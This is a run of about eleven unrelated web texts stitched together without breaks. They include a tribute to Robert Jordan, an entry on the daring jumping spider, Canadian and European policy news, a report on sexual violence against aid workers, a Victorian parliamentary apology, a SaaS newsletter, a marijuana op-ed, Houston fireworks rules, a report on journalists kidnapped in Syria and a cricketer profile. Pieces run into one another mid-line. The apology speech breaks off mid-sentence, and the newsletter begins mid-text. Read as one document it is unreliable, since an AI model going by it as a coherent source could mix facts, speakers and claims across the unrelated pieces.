When Tor.com asked me to write up a thing celebrating what would have been the 66th birthday of Robert Jordan*, I was initially at something of a loss. Firstly, because I’ve been writing about Mr. Jordan and his works for approximately a million years now (okay, or five, whatever), and I thought to myself, what could I possibly say about him that I haven’t said already? And secondly, I thought, surely everyone already knows about this man and who he was and what he’s done, right?
But then I remembered that hey, guess what, everyone in the world is not me! (Shocking!) And ergo, there may be people out there who don’t know about Mr. James Oliver Rigney, Jr., and what an amazing person he was, and how many amazing things he did in his life even aside from writing one of the most popular and beloved fantasy series of all time.
Like how he was a decorated veteran, who served two tours in Vietnam as a helicopter gunner. Or that he had a degree in physics from The Citadel, one of the most prestigious educational institutions in the U.S. Or that he worked as a nuclear engineer, and was a member of the Freemasons. Or that he was a fine Southern gentleman, who liked to hunt and fish and sail and play poker and smoke pipes, and could wear a hat like nobody’s business. He was a man who, one senses, most definitely did not believe in living life on a small scale—and that comes out in his writing just as much as in any other aspect of his life.
Robert Jordan’s Wheel of Time series has often been a subject of contention among literary critics and within the SFF community. One critic, I recall, described it as “Tolkien on steroids,” and he did not mean it as a compliment. But for me, like so many of the readers who fell in love with The Eye of the World and all that followed it, that was sort of the point. The New York Times blurb that has appeared on every cover of the novels in the series probably sums it up best: “Jordan has come to dominate the world that Tolkien began to reveal.”
Basically if you’re looking for the epitome of “epic fantasy”—of that concept presented in all its unabashed, undeconstructed, straightforward glory, and taken to its most, ahem, epic extreme, The Wheel of Time is where the buck stops. Even the story of how the series came to be, and the twists and turns of how it almost never got finished, and how it finally did get finished, is in itself an epic tale.
Everything about Robert Jordan’s opus is grand in scale—including the author himself. And there’s something wonderfully appropriate about that.
So here’s to Robert Jordan—a man who lived as epically as he wrote, and whose legacy will continue to be writ large, both in the annals of fantasy literature, and in the memories of his fans and loved ones, and who was taken from all of us far too soon.
*This article was originally posted October 17, 2014.
Leigh Butler is a writer, blogger, and opinionator for Tor.com, where she conducts The Wheel of Time Re-read and A Read of Ice and Fire, and still remembers fondly that time she got to have dinner with Robert Jordan and listen to his grand tales. She currently lives in New Orleans.Phidippus audax is a common jumping spider of North America. It is commonly referred to as the daring jumping spider, or bold jumping spider. The average size of adults ranges from roughly 13–20 millimetres (0.51–0.79 in) in length. They are typically black with a pattern of spots and stripes on their abdomen and legs. Often these spots are orange-tinted in juveniles, turning white as the spider matures. The spider belongs to the genus Phidippus, a group of jumping spiders easily identified both by their relatively large size and their iridescent chelicerae. In the case of P. audax, these chelicerae are a bright, metallic green or blue.
These spiders have been known to jump from 10 to 50 times their own body length by suddenly increasing the blood pressure in the third or fourth pair of legs,[1][2]
Like other jumping spiders, due to their large, forward-facing eyes, they have very good stereoscopic vision. This aids them when stalking prey, and allows some visual communication with others of their species, such as courting 'dances'.
Habitat [ edit ]
P. audax Iridescent chelicerae on an adult male
Like most jumping spiders, P. audax tends to prefer relatively open areas to hunt in, as they actively seek and stalk prey and do not build webs to catch food. They do use webbing, however, only when laying eggs or to hide. They also use spider silk as a 'lifeline' when jumping for prey or evading predators.
They are common in fields and grasslands, but are frequently seen on fences, exterior walls, and gardens as well. Many jumping spiders seem to prefer flat vertical surfaces, likely due to the fact that it enables them to spot and chase down roaming insects with ease.
Distribution [ edit ]
This species is common in southern Canada, throughout the United States and parts of northern Mexico, plus Cuba, and has been introduced to Hawaii and the Nicobar Islands.
Name [ edit ]
P. audax is the type species for the genus Phidippus. The species name is derived from the Latin word audax meaning "daring, audacious".
Bites [ edit ]
Like most spiders, P. audax rarely bites humans. While symptoms of a bite may vary, the most likely symptoms are slight pain and localized redness of the skin.[3]OTTAWA — The Department of Fisheries and Oceans has declined an interview request with a scientist to discuss the environmental impacts of oilsands development because it objected to a recent Postmedia News report, a federal government spokesman wrote in an email.
Fisheries and Oceans Canada is one of seven federal departments and agencies under investigation by Parliament’s Information Commissioner, Suzanne Legault, over allegations that the government is “muzzling” and restricting access to government scientists.
The Postmedia News report, published on Tuesday, quoted an internal memorandum that said the department had “recently” discovered that in-situ oilsands projects could disturb water sources and harm fish habitat.
Postmedia News also reported in the story that Prime Minister Stephen Harper’s government introduced changes to environmental laws – one year after receiving the memo – that would allow it to exclude some oilsands projects from reviews.
“We are declining your interview request in light of the fact your article is incorrect in suggesting that the memo was in relation to the Canadian Environmental Assessment Act 2012 and Fisheries Act amendments,” wrote Frank Stanek, manager of media relations from the department in an email to Postmedia News on Wednesday evening.
The Canadian Environmental Assessment Agency has published the list of proposed projects that would be subject to an automatic federal environmental review, and it has confirmed that in-situ oilsands projects, which require the injection of high-pressure steam, deep underground to extract heavy oil, were not on this list.
Another media outlet, iPolitics, also reported in the past week that in-situ oilsands projects were excluded from the list and that an industry lobby group, the Canadian Association of Petroleum Producers, had been lobbying the agency in recent months, according to a federal registry. It is not unusual for industry associations to lobby federal departments and agencies to defend their interests on matters of public policy.
The Postmedia report also included comments from the fisheries department saying that these types of projects did not require federal assessments in the past and that it didn’t anticipate they would require reviews under the amended federal environmental laws.
The report also quoted the agency explaining that the environment minister could still require an environmental assessment because of the “potential for adverse environmental effects on matters of federal jurisdiction or if there are public concerns about those effects.”
In his email from Wednesday evening, Stanek repeated that the memo predated the changes to environmental laws, as Postmedia News had reported.
He also said that the department had not eliminated reviews in higher risk areas.
“The memo clearly states that we would continue to work with Departments, Provinces, proponents and others to assess any of these projects where there may be potential for higher risk to fisheries habitat,” Stanek wrote.
The department also sent out letters to various newspapers in the Postmedia Network with similar comments, attributed to David Balfour, a senior assistant deputy minister.
Erin Filliter, a spokeswoman for federal Fisheries Minister Keith Ashfield, later wrote on Twitter that the letter was “correcting” the story on environmental assessments.
goo.gl/SpGkl Letter from DFO ADM correcting story on environmental assessments. — Erin Filliter (@ErinFilliter) May 30, 2013
Postmedia News emailed a series of questions to the Department of Fisheries and Oceans about its statement on Thursday morning:
– Does your department or its minister’s office believe that scientists should only give interviews to journalists that write stories in a certain way?
– Are scientists in the department allowed to speak freely about their research on impacts of in-situ oilsands projects on water and fish habitat?
– What makes the department uncomfortable about a story that compares a memo about impacts on fish habitat to a subsequent decision by the government to change environmental laws?
– In what way does the department believe the memo was not related to the changes to environmental laws?
– What is the difference between continuing to work with departments, provinces, proponents and others to assess projects versus putting in-situ oilsands development on a project list that requires reviews?
The department said Friday that it was planning to respond to these questions later in the day.
The memo, released through access to information legislation, also included a background document, dated March 30, 2011, that challenged statements, proposed by the Canadian Environmental Assessment Agency, “based on the advice from experts in Alberta and Natural Resources Canada” that there was “little possibility” of in-situ operations disrupting fish habitat.
The document said this statement should be “deleted” since it did not accurately reflect the concerns of the Department of Fisheries and Oceans.
A spokesman from Natural Resources Canada told Postmedia News it was unable to locate the official who provided the advice from 2011, that downplayed the impacts of in-situ oilsands projects.
“Since the time of your request yesterday, we have been unable to confirm which specific departmental official would have been consulted,” wrote Natural Resources Canada spokesman Paul Duchesne in an email on Thursday. “Please bear in mind that the briefing note you reference was produced two years ago.”
Related articlesWomen come forward to tell of attacks by colleagues worldwide, and accuse NGOs large and small of failing to protect them
Women working for international aid agencies are facing a hidden threat of sexual violence and harassment which their employers routinely ignore or sweep under the carpet, according to testimonies gathered by the Guardian.
While exact statistics on the scale of sexual assault in the sector are hard to come by, many working for humanitarian groups worldwide say sexual predation is an unreported and growing evil that needs to be addressed by those at the top.
Raped by a colleague then fired: the aid worker who refused to keep quiet Read more
Women have told the Guardian that organisations – from major international non-governmental organisations and UN agencies to smaller charities – are failing to support and protect their workers from sexual abuse. Victims who speak out are often labelled troublemakers.
One American aid worker, Sarah Pierce, said she was sacked this year by the Atlanta-based Carter Center after being raped by a colleague from a local NGO while working in South Sudan.
“I received little justice and no support,” said Pierce (not her real name). “It wasn’t ‘Are you OK? Do you need medical attention?’ After I continued to speak out about what had happened and the organisation’s failure to meet the basic duty of care to its staff, I was fired.”
The Carter Center insists it supported Pierce, adding: “She was provided medical treatment and encouraged and supported to seek counselling.” It refused to comment on why her contract was subsequently terminated, citing the need to maintain confidentiality in such cases.
The Headington Institute in California, which provides psychological support for aid workers, has begun research to assess the scale of the problem. Alicia Jones, its assistant director, said: “This is massively underreported: no one has an accurate read on this at the moment. Most agencies are hearing about these events internally, but survivors are choosing not to report for a variety of reasons.
“We think it’s likely that 1% or more (between 5,000-10,000 people) experience this during their humanitarian career. But male or female, this is an issue everyone fears, even if they are not naming it. It’s a worst-case scenario that everyone is thinking about.”
Humanitarian security expert Christina Wille said: “Unfortunately there is no systematic data on sexual violence … it is very rarely reported through the existing standard channels of humanitarian security incident reporting. Data on the types, context and location of incidents would be extremely helpful, not least as it would shed some light on a subject that is pretty much swept under the carpet.”
In the past few weeks the International Women’s Rights Project, based in Canada, has been attempting to quantify the scale of sexual violence and harassment among humanitarian workers.
More than 1,000 people, mostly women, have come forward in response to an IWRP survey that asks them to disclose their experiences of sexual intimidation and violence within the humanitarian sector. Most have started to disclose incidents and then stopped, something the organisers believe is indicative of the fear of coming forward.
Megan Nobert went public earlier this year to reveal she had been drugged and raped by a fellow humanitarian aid worker on a UN operations base in South Sudan. She said in addition to the 1,000+ responses, she had been contacted privately by many women describing sexual assaults and intimidation.
Nobert said people were scared to report sexual assaults and abuse because of their fears of a backlash and a lack of support from within their organisations. “There’s been a real theme of organisations saying: ‘Suck it up. This is something you should expect, even if it’s a colleague doing it.’
“There have been CEOs, country directors, managers saying exactly that. The humanitarian sector is still a very macho world. The majority of country directors are still men. What we need is for a recognition that there is a problem that sexual violence occurs within the humanitarian community. That is the first step in breaking the stigma, being open that this is happening and we need to talk about it.”
A senior source within the New York based International Rescue Committee, run by the former British foreign secretary David Miliband, criticised inadequate policies within her organisation on sexual harassment and violence towards staff. “I have seen the organisational response to the full spectrum of sexual harassment and violence, including rape … and I would say now that if I was raped during a country visit I would not report it to my organisation.”
Speaking out meant being labelled a feminist troublemaker, the source said. “There’s a strong boys club operating and our jobs often depend on our reputation. It’s deeply ironic that there is so much mythology about the ‘heroism’ of humanitarian workers in the public imagination for being in places of war and conflict … in truth for women the risks in these environments are often much less than the risks from the men around us.”
The source added that agencies needed to face up to their responsibilities and provide safer ways for victims to report attacks, and much better training for staff on how to handle incidents and support individuals. “We need to ‘do right’ by survivors by protecting their dignity, choice and confidentiality throughout the process,” the source said. “We need to prevent perpetrators from simply moving from agency to agency. We need to have much better conversations internally than we are having at the moment.”
A spokesman for the International Rescue Committee said the organisation did have policies in place to record and deal with misconduct and support mistreated staff.
“The IRC takes very seriously any allegations that members of our staff have been mistreated. We have a robust follow-up process for any allegations anonymous or otherwise and staff are informed as to how to raise an issue. Allegations can be made via a third party (anonymously if preferred) and this is available to staff globally. We endeavour to make sure all IRC staff know what’s available to them,” he said.
“Every incident of misconduct is logged and documented in a case management and recording system.”
Guardian Global Development Professionals Network is running a series on this and other issues affecting aid workers. Email globaldevpros@theguardian.com to share your storySpeaker – it’s never too late to put things right.
It’s never too late to say sorry – and mean it.
That’s what brings us all to the heart of our democracy here, in this Parliament where, over the course of decades, a powerful prejudice was written into law.
A prejudice that ruined lives.
A prejudice that prevails in different ways, even still.
That law was written in our name – as representatives, and as Victorians.
And that law was enforced by the very democratic system to which we call ourselves faithful.
So it is our responsibility to prove that the Parliament that engineered this prejudice can also be the Parliament that ends it.
That starts with acknowledging the offences of the past admitting the failings of the present and building a society, for the future, that is strong and fair and just.
In doing so, Speaker, we’ll have shown this moment to be no mere gesture.
In doing so, we’ll have proven that the dignity and bravery of generations of Victorians wasn’t simply for nought.
And that, I hope, will be the greatest comfort of all.
Speaker, there is no more simple an acknowledgement than this:
There was a time in our history when we turned thousands of ordinary young men into criminals.
And it was profoundly and unimaginably wrong.
That such a thing could have occurred – once, perhaps a century ago – would not surprise most Victorians.
Well, I hold here an article that reports the random arrest of 15 men.
“Police Blitz Catches Homosexuals”, the headline reads.
And said a police officer: “…we just seem to find homosexuals loitering wherever we go.”
This was published in Melbourne’s biggest-selling weekly newspaper – in December 1976.
A decade earlier, in 1967, a local paper said that a dozen men would soon face court for – quote – “morals offences”, and urged the public to report homosexuals to the police with a minimum of delay.
A generation earlier, in 1937, Judge MacIndoe said John, a man in his 20s, was “not quite sane”, and gaoled him for three months on a charge of gross indecency.
In 1936, Jack, a working man from Sale, faced a Melbourne court on the same charge – and he was gaoled for ten years.
This, Speaker, is the society we built.
And it would be easy to blame the courts, or the media, or the police, or the public.
It is easy for us to condemn their bigotry.
But the law required them to be bigoted.
And those laws were struck here, where I stand.
One of those laws even earned the label abominable.
And in 1961 alone, 40 Victorian men were charged with it.
In the same year, a minor offence was created that shook just as many lives.
The penalty was $600 in today’s terms, or one month’s imprisonment.
The charge? ‘Loitering for homosexual purposes.’
This was the offence used to justify that random police blitz in ‘76.
A witness said: “Young policemen were sent…to…entrap suspected homosexuals.”
“[Officers] dressed in swimwear…engaging other men in conversation.”
“When the policeman was satisfied the person was homosexual, an arrest was made.”
When we began this process, Speaker, I expected to be offering an apology to people persecuted for homosexual acts.
But it has become clear to me that the State also persecuted against homosexual thought.
Loitering for homosexual purposes is a thought crime.
And in one summer in 1976, in one location alone, one hundred men were targeted under this violation of thought; something for which there was no possible defence.
All in our lifetimes, Speaker.
In our name.
Young people. Old people. Thousands and thousands of people.
I suppose it’s rare when you can’t even begin to conceive what was on the minds of our forebears in this Place.
But I look back at those statutes and I am dumbfounded.
I can’t possibly explain why we made these laws, and clung to them, and fought for them.
For decades, we were obsessed with the private mysteries of men.
And so we jailed them.
We harmed them.
And, in turn, they harmed themselves.
Speaker, it is the first responsibility of a Government to keep people safe.
But the Government didn’t keep LGBTI people safe.
The Government invalidated their humanity and cast them into a nightmare.
And those who live today are the survivors of nothing less than a campaign of destruction, led by the might of the State.
I had the privilege of meeting with four of those survivors.
One of them was Noel Tovey.
He was sent to Pentridge in 1951.
On more than one occasion in jail, he planned his suicide.
“Max was singing an aria from La Traviata when the police arrived,” he recalled in his book.
I was very naive. I knew having sex with men was against the law but I didn’t understand why it was a crime.
At the hearing, the judge said, “You have been charged with the abominable crime of buggery. How do you plead?”
The maximum sentence was fifteen years.
Afterwards, only two people would talk to me. I couldn’t…get a job. I was a known criminal.
And it’s ironic.
Eventually I would have been forgiven by everyone if I had murdered Max, but no one could forgive me for having sex with him.”
And Noel, in his own words, considers himself “one of the lucky ones.”
I also met Terry Kennedy.
He was 18 when he was arrested.
“When I wanted to go overseas”, Terry told me, “and when I wanted to start my own business, there was always that dreaded question:
“Have you |
while I love OSS, I would suggest people not immediately throw their OSS on Github. That makes it very easy for developers to consume your code, but it does not make it easy for you to show the impact of that code to other people, particularly to non-technical stakeholders. To the extent that people's lives are meaningfully improved by your code, the credit (and observable citations) often goes to Github rather than going to you. If you're going to spend weeks or months of time writing meaningful OSS libraries, make a stand-alone web presence for them. Example: my A/Bingo was once probably the best option for Rails A/B testing, by dint of being the only serious option for Rails A/B testing. It is a little old in the tooth now, but being The A/B Testing Guy got me several consulting gigs. The effort to make e.g. documentation, a quickstart guide, a logo, and a branded web presence beats the heck out of having a junior engineer at a potential client just git clone my Github URL and never have my work exposed to a decisionmaker there at all. (Much love for Github, guys. Great company, great product, great impact on the industry. I only suggest not using them for a portion of one's projects, for a fairly simple reason: I don't work for them, I work for me. If I don't work for myself, it is unlikely anyone else will.) If you want to learn more about the actual mechanics of building a side project, my blog covers it in a lot of detail. For a much briefer overview of it, I really recommend Jason Cohen's presentation at Microconf 2013. His formula is "Predictable acquisition of recurring revenue with an annual pre-pay option with a product which solves a demonstrable, enduring pain point for a business." That idea is developed at the above link for an hour, and a lot of the advice given is specific and wildly actionable. I highly recommend it. Consumption Is Sometimes Valuable, But Creation Moves You Forward I'll close with my usual advice to peers: reading this email was valuable (knock on wood). Watching Jason's video is valuable. Rolling up your sleeves and actually shipping something is much, much more valuable. If you take no other advice from me ever, ship something. You'll learn more shipping a failure than you'll learn from reading about a thousand successes. And you stand an excellent chance of shipping a success -- people greatly overestimate how difficult this is. Just don't end the week with nothing. If there's ever anything I can do to help you out, whether you're the CEO of a multi-million dollar a year SaaS company or just getting ready to stack your first brick, drop me a line. Nothing makes me happier businesswise than being able to help people, particularly those who are getting started. Until next time. Regards, Patrick McKenzie P.S. Next time I plan to go back to my usual beat of "tactical suggestions for optimizing SaaS businesses."So what does the government's latest round of'statistical (though highly questionable) information' tell us? Nothing we didn't already know.
Despite 70+ years of criminal prohibition, marijuana still remains widely popular among Americans, with over 102 million Americans (41 percent of the U.S. population) having used it during their lifetimes, 26 million (10 percent) having used it in the past year, and over 15 million (6 percent) admitting that they use it regularly. (By contrast, fewer than 15 percent of adults have ever tried cocaine, the second most 'popular' illicit drug, and fewer than 2 percent have ever tried heroin -- so much for that supposed 'gateway effect.') Predictably, all of the 2008 marijuana use figures are higher than those that were reported for the previous year -- great work John Walters!
Equally predictably, the government's long-standing prohibition and anti-pot'scare' campaigns have done little, if anything, to dissuade young people from trying it. According to the survey, 15 percent of those age 14 to 15 have tried pot (including 12 percent in the past year), as have 31 percent of those age 16 to 17 (a quarter of which have done so in the past year) -- percentages that make marijuana virtually as popular as alcohol among these age groups. By age 20, 45 percent of adolescents have tried pot, and nearly a third of those age 18 to 20 have done so in the past year. And by age 25, 54 percent of the population has admittedly used marijuana.
Question: Does anyone still believe that marijuana prohibition is working -- or that all of these people deserve to be behind bars?
For too long, advocates of prohibition have framed their arguments on the false assumption that the continued enforcement of said laws "protects our children." As the numbers above illustrate, this premise is nonsense. In fact, just the opposite is true.
The government's war on cannabis and cannabis consumers endangers the health and safety of our children. It enables young people to have unregulated access to marijuana -- easier access than they presently have to alcohol. It enables young people to interact and befriend pushers of other illegal, more dangerous drugs. It compels young people to dismiss the educational messages they receive pertaining to the potential health risks posed by the use of "hard drugs" and prescription pharmaceuticals, because kids say, "If they lied to me about pot, why wouldn't they be lying to me about everything else, too?"
Most importantly, the criminal laws are far more likely to result in having our children arrested, placed behind bars, and stigmatized with a lifelong criminal record than they are likely to in any way discourage them to try pot.Video
LONDON — Just as the United States takes steps to secure people’s unfettered access to the Internet, Europe may soon backtrack on its own proposals.
The idea of so-called net neutrality — or the concept that everyone should have equal access to all online content — will again take center stage on Thursday as politicians from the 28-member bloc meet to discuss how the rules should be put into effect across the region.
In the United States, President Obama recently called on the Federal Communications Commission to adopt rules that would stop broadband companies from slowing down certain types of online content. The European Parliament outlined similar rules earlier this year.
Now, though, some European lawmakers are pushing to loosen the rules somewhat, allowing companies to potentially charge for faster access to their networks.
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A draft proposal circulated among the members of the European Union, released by European Digital Rights, a Brussels-based advocacy group, would remove the strict definition of net neutrality from new European telecom legislation that is expected to be finalized sometime next year.
The proposal, circulated by Italy, which currently holds the six-month presidency of the European Union, suggests allowing broadband and telecom companies to manage traffic across their networks (and potentially offer faster speeds to companies that are willing to pay a premium) as long as they provide a minimal level of access for all online content.
The suggestions, which still must be worked out among individual countries, the European Parliament and the European Commission, come as the region’s Internet service providers are lobbying hard to weaken Europe’s original net neutrality proposals.
Telecom companies like Vodafone of Britain and Orange of France are concerned that the current proposals would not allow them to charge for improved access to their networks to generate revenue that they say is needed to upgrade Europe’s Internet infrastructure.
The rules proposed by the Parliament include amendments intended to provide a strict definition of net neutrality, so that telecom companies and other Internet service providers could not discriminate between different services that run on their data networks.
And even while some European lawmakers are moving to alter the region’s net neutrality proposals, others continue to push strong rules.
“All the traffic has to be treated equally,” Andrus Ansip, the new digital chief at the European Commission, told Reuters this week when asked about the potential watering down of Europe’s net neutrality rules. “The Internet has to stay open for everybody.”Explained: fireworks rules in Harris County
Fireworks are allowed in unincorporated areas of Harris County. Even when used legally, they can cause serious injury. Click through our slideshow to see incidents of Americans hurt by pyrotechnics in 2015. Fireworks are allowed in unincorporated areas of Harris County. Even when used legally, they can cause serious injury. Click through our slideshow to see incidents of Americans hurt by pyrotechnics in 2015. Photo: City Of Missouri City Photo: City Of Missouri City Image 1 of / 50 Caption Close Explained: fireworks rules in Harris County 1 / 50 Back to Gallery
Texas can be a complicated place. Luckily, Dylan Baddour is here to help explain it. See more answers to your burning questions about the Lone Star State on HoustonChronicle.com.
Don't get a ticket. Know the rules before you set explosions this weekend.
The nation's first Independence Day celebration featured a fireworks show. Now, 239 years later, the rockets' red glare and bombs bursting in air still give proof every Fourth of July that our flag is still there.
Somewhere along the way a retail pyrotechnic market emerged, and celebrating citizens with easy access to explosives in urban hubs proved a recipe for trouble. So here in the City of Houston, we've got rules.
Rule number one: no fireworks inside the Houston city limits.
The Houston Police Department will up its enforcement efforts across the board this holiday weekend, and that includes firework laws.
Anything with a fuse is forbidden. Violators will face fines between $500 and $2,000 for each individual firework. Warnings are not issued for these violations.
Outside the city limits, fireworks are allowed in most cases, said Lt. Todd Mitchell of the Harris County Fire Marshall's Office, depending on local ordinances. With no burn bans this year, fireworks are fair game in unincorporated parts of the county. But rules still apply.
They can't be launched within 600 feet of a hospital, gas station, fireworks stand, school or church (except with written permission, in some cases). They may not be set off in a moving vehicle.
Even in legal locations, fireworks can cause severe injury when improperly used.
"A lot of time what people are doing is trying to hold those mortars, the launching tubes," Mitchell said. "Those should not be held."
A slight squeeze on the cardboard tube can trap the mortar inside, he said, so it explodes in someone's hand.
RELATED: Fireworks-related incidents that hurt, killed Americans in 2015
Other common injuries result from using fireworks while intoxicated or letting children use them unsupervised, he said.
The Fire Marshall's office has been out inspecting about 425 fireworks stands in the county and about 25 indoor stores, making sure they have adults behind the counter, safe storage methods and that they are not selling to children under 16. They will also be out enforcing firework rules across the county over the weekend.
Mitchell said the office encourages revelers to attend public displays instead of launching on their own.
Here's a list of those public displays in the county this Fourth of July:
"Freedom over Texas" at Elanor Tinsley Park 9:30 PM
Fireworks in the Woodlands in the Woodlands 9:30 PM
Fireworks in Katy 9:00 PM
Fireworks in Baytown 9:30 PM
Fireworks in Pearland 9:30 PM
Fireworks in Sugar Land 9:30 PM
Fireworks in Tomball 9:00 PM
Fireworks at the Kemah Boardwalk 9:30 PM
Fireworks in Kingwood 9:00 PM
Fireworks in Pasadena 9:30 PM
Other shows at private venues:
The Overlook 8:45 PM
Bridgeland 9:00 PM
Crosby Church 9:00 PM
Faithbridge United Methodist Church 9:00 PM
Pine Forest Country Club 9:00 PM
Splashtown 9:00 PM
Gleannloch Farm Sports Complex 9:15 PM
Towne Lake 9:30 PMIt was Sept. 16. The two Spaniards had almost made it to safety. Journalists Javiar Espinosa and Ricardo García, as well as their escorts, fighters with the Free Syrian Army, were hardly 15 minutes by car from the Turkish border when they were stopped at the last checkpoint within Syrian territory and abducted.
Some of their escorts were subsequently freed. From them, it is known that the men at the checkpoint were members of the extremist rebel group "Islamic State of Iraq and Syria" (ISIS).
The two Spaniards were a big catch for the radical Islamists. Since early last summer, ISIS and other extremist groups have apparently shifted their strategy and begun targeting foreign reporters for abduction. On Tuesday, Ayman Mhanna, executive director of the Beirut-based SKeyes Center for Media and Cultural Freedom, said that 20 foreign journalists are being held captive in Syria. Some of the missing journalists are in the hands of the regime, he added, but the majority are captives of extremist groups.
And these are not the only missing reporters. In addition to foreign journalists, Mhanna says, about 10 Syrian journalists have been kidnapped and are being held. Since fighting broke out in the spring of 2011, roughly 55 journalists have lost their lives in Syria.
So far, all attempts to free Espinosa and García have failed. The Islamists don't appear to be concerned with ransom money. According to sources close to the extremists, the foreigners are instead viewed as a kind of life insurance policy. As things now stand, ISIS and similar radical groups are at war not only against regime forces, but also against groups of moderate Syrian rebels. For them, the Western reporters in their power are akin to a trump card that could win them concessions from moderate rebels concerned with the Westerners' well-being. The situation has also apparently prompted the Islamists to increase their attacks on rebels with opposing goals.
On Tuesday, four well-known human rights advocates were abducted in a rebel-controlled area near Damascus. Among the kidnapped were also Razan Zeitouneh, an acclaimed human rights lawyer, and her husband, Wael Hamada. The abductions have triggered sharp international criticism.
Experienced, Respected, Abducted
Islamists have set up a prison in the city of Ar-Raqqah specifically for their kidnapping victims, observers say. In addition to the journalists Espinosa and García, at least five other Westerners and an unspecified number of Syrians are being held there. At yet another location, ISIS has reportedly imprisoned at least four French citizens: Didier Francois and the photographer Edouard Elias, who were kidnapped in July, and Nicolas Henin and Pierre Torres, who were abducted in June.
Espinosa and the photographer García were experienced and internationally renowned war correspondents. They were aware of the risks associated with their work. Espinosa, for instance, was in the Baba Amr neighborhood of Homs, when a rocket struck nearby, killing American reporter Marie Colvin and French photographer Remi Ochlik. The fact that Espinosa didn't just look after his own safety and that of other Western reporters, but also helped evacuate wounded Syrians, earned him great respect among Syrian rebels.
Prior to their kidnapping, the Spaniards had been traveling for two weeks in the Syrian province of Deir el-Zour on behalf of Spanish daily newspaper El Mundo. There, they documented the fighting between the regime and the rebels, but also the fight for survival of ordinary civilians. "Another body, another funeral and 1 more hole in the park," tweeted Espinosa on Sept. 15 from a burial ceremony.
It was his second-to-last tweet before he disappeared.
The fact that Espinosa's story is only now becoming public knowledge is the decision of his wife, Mónica García Prieto. After trying for weeks to negotiate with the kidnappers, she has now come to the conclusion that a news blackout is no longer useful, García Prieto said Monday in Beirut. Meanwhile, the García family has relayed the story to the Spanish public.
García Prieto appealed to the Syrian people to campaign for the release of her partner. "Javier and Ricardo are not your enemies," she said at a press conference, adding that they and their associates had made great sacrifices in order to report on the Syrian tragedy.
"Please honor the revolution that they have protected and free them," she added.Munaf Patel at his village (Source: Express photo by Bhupendra Rana)
What lies ahead for a cricketer past his best? If you are Munaf Patel, the pacer from Gujarat undazzled by fame and riches, all you need is a village, and the art of chilling
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In a room, somewhere in West Indies, Sachin Tendulkar approaches Munaf Patel. It’s 2007, India has been evicted from the World Cup but they can’t go home yet. The Bermuda versus Bangladesh game is yet to be played and the players wait for a miracle. Back home, things have turned. Sachin Tendulkar’s and Sourav Ganguly’s restaurants have been attacked, Zaheer Khan’s house stoned, a wall of MS Dhoni’s house broken. Patel recalls the players downloading the public outrage from the internet. Tendulkar asks Patel: “Something or other is happening at everyone’s house. What’s on at your home, Munna?” “Paaji, jahan main rahta hoon na, udhar aath hazaar log hai and 8,000 mera security hai! (There are 8,000 people where I stay, and those are my security.)” Tendulkar laughs, “We might all have to come to your home from here.”
Couple of us journalists are at his home in his village Ikhar in the Bharuch district of Gujarat. Seven years down the line, Patel’s fortunes have swung the whole arc. He has been a part of a team that lifted the World Cup in 2011, and now, as the team heads for another World Cup, his name doesn’t even figure in the list of probables. But the 31-year-old remains a hero at Ikhar — and remarkably, for someone who has seen both fame and riches come and go, at peace with himself, in this village from where he started his dream run.
Hailed by India’s then bowling coach Eric Simons as the “unsung hero of the 2011 World Cup win”, Patel had ended the tournament as India’s third-highest wicket-taker, behind Zaheer Khan and Yuvraj Singh, with 11 wickets. He could have been the fastest Indian bowler ever but a shoulder injury in 2004 forced him to forsake pace. He played just 13 Tests but starred in 70 ODIs, picking up 86 wickets, and was indispensable to the team between 2009 and 2011. These days, when he is not playing Ranji Trophy for Baroda, he is at Ikhar, probably leaning against a well in a kheth (field) with his friends or lolling at the swing in his home.
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It’s a fairly big house. A kilometre or two past a railway gate, beyond the cotton fields, it is caressed by a gentle breeze on a warm but pleasant day. A bike approaches from behind and Patel gets down. Dressed in track pants and a T-shirt, he welcomes us with an earthy smile: “I was chatting in the field.” We walk down the pathway, lined by trees and shrubs, to a small six-pillared portico with a swing. Patel understands and can speak English but we mostly converse in Hindi. Often philosophical, and with an ever-present smile even when talking about struggle, the man who says he just likes to have fun — “Masti chahiye bas” — opens up on his journey.
It’s the 1990s and Patel is in the ninth standard at the village school. He is already the fastest bowler but doesn’t want to play cricket anymore. Guilt is in the air. His father works on someone else’s farm, there isn’t much food at home. The children get new clothes on Id, but only in a good year. For the last couple of years, during vacations, young Munaf has been at a tile factory choosing the best “export-quality” tiles, packing them in boxes and going home with Rs 35 for an eight-hour shift. “Dukh hi dukh tha lekin jhelne ki aadat ho gayi thi. Kisi ko sunaon toh lagega kya din tha but when you are used to it, and there is no other option, then you feel kya yaar, yeh to roz ka kaam hai. Paisey nahi hai to kya kar sakte hain? Father akela kaam raha hai and we were in school. (It was a hard life, but it had become a habit. There wasn’t enough money, but what could we do? Father was the only one earning, and we were in school),” he says. A friend urges a teacher to intervene: “What’s your age? You can work once you get out of school. Now just play.”
A few years on, Patel receives his first ehsaan (favour), a constant theme in our chat. He requests a well-connected person in the village, Yusuf Bhai, to take him to Baroda to get his cricket career going. Yusuf even buys a pair of shoes for Patel, who used to play in chappals till then. “He bought me Rs 400-worth shoes, and introduced me to a cricket club. Ehsaan rahega zindagi bhar.” (Even today, whenever Yusuf comes down from UK, Munaf hops over to his house. “Kuch bhi kaam hai toh bata dena, bhai.”)
Meanwhile, his father isn’t happy. Every day, at dinner, young Munaf is asked to quit playing cricket and join him at work. And eventually go to Africa. “I would just stay silent; my mother would tell him to let me play.” For Ikhar, a village of poor cotton farmers, Africa was the passport out of poverty. Every year, a youngster or two would land up at a friend, relative or acquaintance’s house in Zambia, Mozambique, South Africa or Zimbabwe to find work in a factory or a shop. Patel had an uncle in Zambia and so his future seemed set in stone. “You can’t blame my father. No one here really knew that cricket had this kind of scope. That I can even earn money from this.”
But the doors kept opening, through the kindness of strangers who spotted talent in the gangly youth. Former India wicketkeeper Kiran More, “who hasn’t taken a single paisa from me and even bought me my first branded cricket shoes (Gunn & Moore)”, trained him at his academy in Baroda, also sent him to the MRF pace school in Chennai. A city where “they never spoke Hindi” and “auto drivers matlab fight” but a place close to his heart. He recounts a tale that captures his personality then. An English batsman, along with Sajid Mahmood and Simon Jones, had come down to the school. Patel can’t remember his name. “Gora tha (He was white), left-handed and the pitches were fast then. I bowled four-five bouncers; one hit his shoulder, one his helmet and other his gloves. He started to come towards me, saying something in English. Mujhe toh English aati nahi tab. But I see that he is angry. So I slip away quickly and dive into the swimming pool. I thought he will complain to Sir, who will throw me out of the academy!”
